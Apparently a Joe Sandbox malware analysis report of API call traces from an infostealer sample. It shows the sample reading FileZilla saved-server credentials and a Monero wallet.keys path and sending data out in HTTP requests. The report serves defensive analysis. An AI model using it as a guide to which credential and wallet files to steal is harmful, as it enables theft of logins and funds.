GetProcAddress.KERNEL32(75900000,01349D88), ref: 00199F50
GetProcAddress.KERNEL32(75900000,0134C8E8), ref: 00199F68
GetProcAddress.KERNEL32(75900000,0134CA08), ref: 00199F81
GetProcAddress.KERNEL32(75900000,01336420), ref: 00199F99
GetProcAddress.KERNEL32(75900000,0134C828), ref: 00199FB1
GetProcAddress.KERNEL32(75900000,013362C0), ref: 00199FCA
GetProcAddress.KERNEL32(75900000,0134C900), ref: 00199FE2
GetProcAddress.KERNEL32(75900000,0134C978), ref: 00199FFA
GetProcAddress.KERNEL32(75900000,01336300), ref: 0019A013
GetProcAddress.KERNEL32(75900000,013364A0), ref: 0019A02B
LoadLibraryA.KERNEL32(0134C840,?,00195CA3,001A0AEB,?,?,?,?,?,?,?,?,?,?,001A0AEA,001A0AE3), ref: 0019A03D
LoadLibraryA.KERNEL32(0134CA50,?,00195CA3,001A0AEB,?,?,?,?,?,?,?,?,?,?,001A0AEA,001A0AE3), ref: 0019A04E
LoadLibraryA.KERNEL32(0134CA20,?,00195CA3,001A0AEB,?,?,?,?,?,?,?,?,?,?,001A0AEA,001A0AE3), ref: 0019A060
LoadLibraryA.KERNEL32(0134CA38,?,00195CA3,001A0AEB,?,?,?,?,?,?,?,?,?,?,001A0AEA,001A0AE3), ref: 0019A072
LoadLibraryA.KERNEL32(0134CA68,?,00195CA3,001A0AEB,?,?,?,?,?,?,?,?,?,?,001A0AEA,001A0AE3), ref: 0019A083
LoadLibraryA.KERNEL32(0134CAF8,?,00195CA3,001A0AEB,?,?,?,?,?,?,?,?,?,?,001A0AEA,001A0AE3), ref: 0019A095
LoadLibraryA.KERNEL32(0134CB70,?,00195CA3,001A0AEB,?,?,?,?,?,?,?,?,?,?,001A0AEA,001A0AE3), ref: 0019A0A7
LoadLibraryA.KERNEL32(0134CCA8,?,00195CA3,001A0AEB,?,?,?,?,?,?,?,?,?,?,001A0AEA,001A0AE3), ref: 0019A0B8
GetProcAddress.KERNEL32(75FD0000,01336900), ref: 0019A0DA
GetProcAddress.KERNEL32(75FD0000,0134CDF8), ref: 0019A0F2
GetProcAddress.KERNEL32(75FD0000,01348A60), ref: 0019A10A
GetProcAddress.KERNEL32(75FD0000,0134CD08), ref: 0019A123
GetProcAddress.KERNEL32(75FD0000,01336720), ref: 0019A13B
GetProcAddress.KERNEL32(73B40000,0133B248), ref: 0019A160
GetProcAddress.KERNEL32(73B40000,013366C0), ref: 0019A179
GetProcAddress.KERNEL32(73B40000,0133B108), ref: 0019A191
GetProcAddress.KERNEL32(73B40000,0134CC00), ref: 0019A1A9
GetProcAddress.KERNEL32(73B40000,0134CBD0), ref: 0019A1C2
GetProcAddress.KERNEL32(73B40000,013367E0), ref: 0019A1DA
GetProcAddress.KERNEL32(73B40000,013368E0), ref: 0019A1F2
GetProcAddress.KERNEL32(73B40000,0134CBB8), ref: 0019A20B
GetProcAddress.KERNEL32(763B0000,01336760), ref: 0019A22C
GetProcAddress.KERNEL32(763B0000,013369E0), ref: 0019A244
GetProcAddress.KERNEL32(763B0000,0134CBA0), ref: 0019A25D
GetProcAddress.KERNEL32(763B0000,0134CB58), ref: 0019A275
GetProcAddress.KERNEL32(763B0000,013368C0), ref: 0019A28D
GetProcAddress.KERNEL32(750F0000,0133B130), ref: 0019A2B3
GetProcAddress.KERNEL32(750F0000,0133B090), ref: 0019A2CB
GetProcAddress.KERNEL32(750F0000,0134CD68), ref: 0019A2E3
GetProcAddress.KERNEL32(750F0000,013369A0), ref: 0019A2FC
GetProcAddress.KERNEL32(750F0000,013369C0), ref: 0019A314
GetProcAddress.KERNEL32(750F0000,0133B180), ref: 0019A32C
GetProcAddress.KERNEL32(75A50000,0134CB28), ref: 0019A352
GetProcAddress.KERNEL32(75A50000,01336780), ref: 0019A36A
GetProcAddress.KERNEL32(75A50000,01348B60), ref: 0019A382
GetProcAddress.KERNEL32(75A50000,0134CD38), ref: 0019A39B
GetProcAddress.KERNEL32(75A50000,0134CDB0), ref: 0019A3B3
GetProcAddress.KERNEL32(75A50000,01336940), ref: 0019A3CB
GetProcAddress.KERNEL32(75A50000,01336A20), ref: 0019A3E4
GetProcAddress.KERNEL32(75A50000,0134CC48), ref: 0019A3FC
GetProcAddress.KERNEL32(75A50000,0134CD50), ref: 0019A414
GetProcAddress.KERNEL32(75070000,01336980), ref: 0019A436
GetProcAddress.KERNEL32(75070000,0134CD98), ref: 0019A44E
GetProcAddress.KERNEL32(75070000,0134CC78), ref: 0019A466
GetProcAddress.KERNEL32(75070000,0134CB88), ref: 0019A47F
GetProcAddress.KERNEL32(75070000,0134CDC8), ref: 0019A497
GetProcAddress.KERNEL32(74E50000,01336920), ref: 0019A4B8
GetProcAddress.KERNEL32(74E50000,013367C0), ref: 0019A4D1
GetProcAddress.KERNEL32(75320000,01336880), ref: 0019A4F2
GetProcAddress.KERNEL32(75320000,0134CBE8), ref: 0019A50A
GetProcAddress.KERNEL32(6F060000,01336960), ref: 0019A530
GetProcAddress.KERNEL32(6F060000,01336740), ref: 0019A548
GetProcAddress.KERNEL32(6F060000,01336860), ref: 0019A560
GetProcAddress.KERNEL32(6F060000,0134CD20), ref: 0019A579
GetProcAddress.KERNEL32(6F060000,013366E0), ref: 0019A591
GetProcAddress.KERNEL32(6F060000,01336700), ref: 0019A5A9
GetProcAddress.KERNEL32(6F060000,013367A0), ref: 0019A5C2
GetProcAddress.KERNEL32(6F060000,01336800), ref: 0019A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 0019A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 0019A607
GetProcAddress.KERNEL32(74E00000,0134CD80), ref: 0019A629
GetProcAddress.KERNEL32(74E00000,013489F0), ref: 0019A641
GetProcAddress.KERNEL32(74E00000,0134CC18), ref: 0019A659
GetProcAddress.KERNEL32(74E00000,0134CC60), ref: 0019A672
GetProcAddress.KERNEL32(74DF0000,01336820), ref: 0019A693
GetProcAddress.KERNEL32(6F9A0000,0134CC30), ref: 0019A6B4
GetProcAddress.KERNEL32(6F9A0000,013366A0), ref: 0019A6CD
GetProcAddress.KERNEL32(6F9A0000,0134CDE0), ref: 0019A6E5
GetProcAddress.KERNEL32(6F9A0000,0134CCC0), ref: 0019A6FD

Strings

InternetSetOptionA, xrefs: 0019A5E5
HttpQueryInfoA, xrefs: 0019A5FC

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 31084e8c1647efe1b6a2a7ac539407b722793fba3403b1d0a242177441ececf3
Instruction ID: 6374ca7a8b5c016730fb24233682834133241a1dded5fe4c2c7194d21ef7fddf
Opcode Fuzzy Hash: 31084e8c1647efe1b6a2a7ac539407b722793fba3403b1d0a242177441ececf3
Instruction Fuzzy Hash: FA623BB6500A08AFC346DFA8FD88D663BFDF74C709F14851AA609C3224DB39B851DB52

Function 00187710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00187724
RtlAllocateHeap.NTDLL(00000000), ref: 0018772B
lstrcat.KERNEL32(?,013494E8), ref: 001878DB
lstrcat.KERNEL32(?,?), ref: 001878EF
lstrcat.KERNEL32(?,?), ref: 00187903
lstrcat.KERNEL32(?,?), ref: 00187917
lstrcat.KERNEL32(?,0134DEC8), ref: 0018792B
lstrcat.KERNEL32(?,0134DF70), ref: 0018793F
lstrcat.KERNEL32(?,0134DFB8), ref: 00187952
lstrcat.KERNEL32(?,0134DFA0), ref: 00187966
lstrcat.KERNEL32(?,0134DFF8), ref: 0018797A
lstrcat.KERNEL32(?,?), ref: 0018798E
lstrcat.KERNEL32(?,?), ref: 001879A2
lstrcat.KERNEL32(?,?), ref: 001879B6
lstrcat.KERNEL32(?,0134DEC8), ref: 001879C9
lstrcat.KERNEL32(?,0134DF70), ref: 001879DD
lstrcat.KERNEL32(?,0134DFB8), ref: 001879F1
lstrcat.KERNEL32(?,0134DFA0), ref: 00187A04
lstrcat.KERNEL32(?,0134E060), ref: 00187A18
lstrcat.KERNEL32(?,?), ref: 00187A2C
lstrcat.KERNEL32(?,?), ref: 00187A40
lstrcat.KERNEL32(?,?), ref: 00187A54
lstrcat.KERNEL32(?,0134DEC8), ref: 00187A68
lstrcat.KERNEL32(?,0134DF70), ref: 00187A7B
lstrcat.KERNEL32(?,0134DFB8), ref: 00187A8F
lstrcat.KERNEL32(?,0134DFA0), ref: 00187AA3
lstrcat.KERNEL32(?,0134E0C8), ref: 00187AB6
lstrcat.KERNEL32(?,?), ref: 00187ACA
lstrcat.KERNEL32(?,?), ref: 00187ADE
lstrcat.KERNEL32(?,?), ref: 00187AF2
lstrcat.KERNEL32(?,0134DEC8), ref: 00187B06
lstrcat.KERNEL32(?,0134DF70), ref: 00187B1A
lstrcat.KERNEL32(?,0134DFB8), ref: 00187B2D
lstrcat.KERNEL32(?,0134DFA0), ref: 00187B41
lstrcat.KERNEL32(?,0134E130), ref: 00187B55
lstrcat.KERNEL32(?,?), ref: 00187B69
lstrcat.KERNEL32(?,?), ref: 00187B7D
lstrcat.KERNEL32(?,?), ref: 00187B91
lstrcat.KERNEL32(?,0134DEC8), ref: 00187BA4
lstrcat.KERNEL32(?,0134DF70), ref: 00187BB8
lstrcat.KERNEL32(?,0134DFB8), ref: 00187BCC
lstrcat.KERNEL32(?,0134DFA0), ref: 00187BDF
lstrcat.KERNEL32(?,0134E198), ref: 00187BF3
lstrcat.KERNEL32(?,?), ref: 00187C07
lstrcat.KERNEL32(?,?), ref: 00187C1B
lstrcat.KERNEL32(?,?), ref: 00187C2F
lstrcat.KERNEL32(?,0134DEC8), ref: 00187C43
lstrcat.KERNEL32(?,0134DF70), ref: 00187C56
lstrcat.KERNEL32(?,0134DFB8), ref: 00187C6A
lstrcat.KERNEL32(?,0134DFA0), ref: 00187C7E

Part of subcall function 001875D0: lstrcat.KERNEL32(359DE020,001A17FC), ref: 00187606
Part of subcall function 001875D0: lstrcat.KERNEL32(359DE020,00000000), ref: 00187648
Part of subcall function 001875D0: lstrcat.KERNEL32(359DE020, : ), ref: 0018765A
Part of subcall function 001875D0: lstrcat.KERNEL32(359DE020,00000000), ref: 0018768F
Part of subcall function 001875D0: lstrcat.KERNEL32(359DE020,001A1804), ref: 001876A0
Part of subcall function 001875D0: lstrcat.KERNEL32(359DE020,00000000), ref: 001876D3
Part of subcall function 001875D0: lstrcat.KERNEL32(359DE020,001A1808), ref: 001876ED
Part of subcall function 001875D0: task.LIBCPMTD ref: 001876FB

lstrcat.KERNEL32(?,0134E500), ref: 00187E0B
lstrcat.KERNEL32(?,0134D6B8), ref: 00187E1E
lstrlen.KERNEL32(359DE020), ref: 00187E2B
lstrlen.KERNEL32(359DE020), ref: 00187E3B

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 4240b96b0c1e501bb5de64cb30bc74b09fe4a776fecf3aeee80cb160e6a8dcb7
Instruction ID: 6b5bef0578f9bdbaab5ac1895bd3059f3ad88020d2acb949c186b3c9265a35bd
Opcode Fuzzy Hash: 4240b96b0c1e501bb5de64cb30bc74b09fe4a776fecf3aeee80cb160e6a8dcb7
Instruction Fuzzy Hash: 87323EB2D00718ABCB16EBA0DC85DEA777CBB54705F044A98F219E2090EF75E7898F51

Function 00190250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 00198DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00198E0B

Part of subcall function 0019A920: lstrcpy.KERNEL32(00000000,?), ref: 0019A972
Part of subcall function 0019A920: lstrcat.KERNEL32(00000000), ref: 0019A982

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0019A7E6

Part of subcall function 001899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001899EC
Part of subcall function 001899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00189A11
Part of subcall function 001899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00189A31
Part of subcall function 001899C0: ReadFile.KERNEL32(000000FF,?,00000000,0018148F,00000000), ref: 00189A5A
Part of subcall function 001899C0: LocalFree.KERNEL32(0018148F), ref: 00189A90
Part of subcall function 001899C0: CloseHandle.KERNEL32(000000FF), ref: 00189A9A

Part of subcall function 00198E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00198E52

GetProcessHeap.KERNEL32(00000000,000F423F,001A0DBA,001A0DB7,001A0DB6,001A0DB3), ref: 00190362
RtlAllocateHeap.NTDLL(00000000), ref: 00190369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00190385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001A0DB2), ref: 00190393
StrStrA.SHLWAPI(00000000,<Port>), ref: 001903CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001A0DB2), ref: 001903DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00190419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001A0DB2), ref: 00190427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00190463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001A0DB2), ref: 00190475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001A0DB2), ref: 00190502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001A0DB2), ref: 0019051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001A0DB2), ref: 00190532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001A0DB2), ref: 0019054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00190562
lstrcat.KERNEL32(?,profile: null), ref: 00190571
lstrcat.KERNEL32(?,url: ), ref: 00190580
lstrcat.KERNEL32(?,00000000), ref: 00190593
lstrcat.KERNEL32(?,001A1678), ref: 001905A2
lstrcat.KERNEL32(?,00000000), ref: 001905B5
lstrcat.KERNEL32(?,001A167C), ref: 001905C4
lstrcat.KERNEL32(?,login: ), ref: 001905D3
lstrcat.KERNEL32(?,00000000), ref: 001905E6
lstrcat.KERNEL32(?,001A1688), ref: 001905F5
lstrcat.KERNEL32(?,password: ), ref: 00190604
lstrcat.KERNEL32(?,00000000), ref: 00190617
lstrcat.KERNEL32(?,001A1698), ref: 00190626
lstrcat.KERNEL32(?,001A169C), ref: 00190635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001A0DB2), ref: 0019068E

Strings

profile: null, xrefs: 00190568
<Pass encoding="base64">, xrefs: 0019045A
browser: FileZilla, xrefs: 00190559
url: , xrefs: 00190577
login: , xrefs: 001905CA
<Host>, xrefs: 0019037C
password: , xrefs: 001905FB
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 001902A4
<User>, xrefs: 00190410
<Port>, xrefs: 001903C6

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 91f3dc10d168d26f00cb3e7c66485be842938cd82837effbe18b239eff2b1f1b
Instruction ID: 6066783ea7e2aa9163daa1e04cb529df4873bd481bcab9dda1379fc14cb15b89
Opcode Fuzzy Hash: 91f3dc10d168d26f00cb3e7c66485be842938cd82837effbe18b239eff2b1f1b
Instruction Fuzzy Hash: 82D11F76910208ABCF05EBF4DD96DEE7778BF29701F844418F506E6091DF74AA0ACBA1

Function 00185100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0019A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0019A7E6

Part of subcall function 001847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00184839
Part of subcall function 001847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00184849

lstrlen.KERNEL32(00000000), ref: 00185193

Part of subcall function 00198EA0: CryptBinaryToStringA.CRYPT32(00000000,00185184,40000001,00000000,00000000,?,00185184), ref: 00198EC0

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00185207
StrCmpCA.SHLWAPI(?,0134E510), ref: 00185225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00185340
HttpOpenRequestA.WININET(00000000,0134E430,?,0134D838,00000000,00000000,00400100,00000000), ref: 001853A4

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

Part of subcall function 0019A920: lstrcpy.KERNEL32(00000000,?), ref: 0019A972
Part of subcall function 0019A920: lstrcat.KERNEL32(00000000), ref: 0019A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0134E5B0,00000000,?,01349938,00000000,?,001A19DC,00000000,?,001951CF), ref: 00185737
lstrlen.KERNEL32(00000000), ref: 0018574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0018575C
RtlAllocateHeap.NTDLL(00000000), ref: 00185763
lstrlen.KERNEL32(00000000), ref: 00185778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 001857A9
lstrlen.KERNEL32(00000000), ref: 001857C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 001857E1
lstrlen.KERNEL32(00000000,?,?), ref: 0018580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00185822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0018584D
InternetCloseHandle.WININET(00000000), ref: 001858B1
InternetCloseHandle.WININET(00000000), ref: 001858BE
InternetCloseHandle.WININET(00000000), ref: 001858C8

Strings

------, xrefs: 0018563B
", xrefs: 001855C4
------, xrefs: 001854F9
--, xrefs: 00185280
------, xrefs: 001853B7
", xrefs: 00185706
------, xrefs: 00185297
", xrefs: 00185482

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
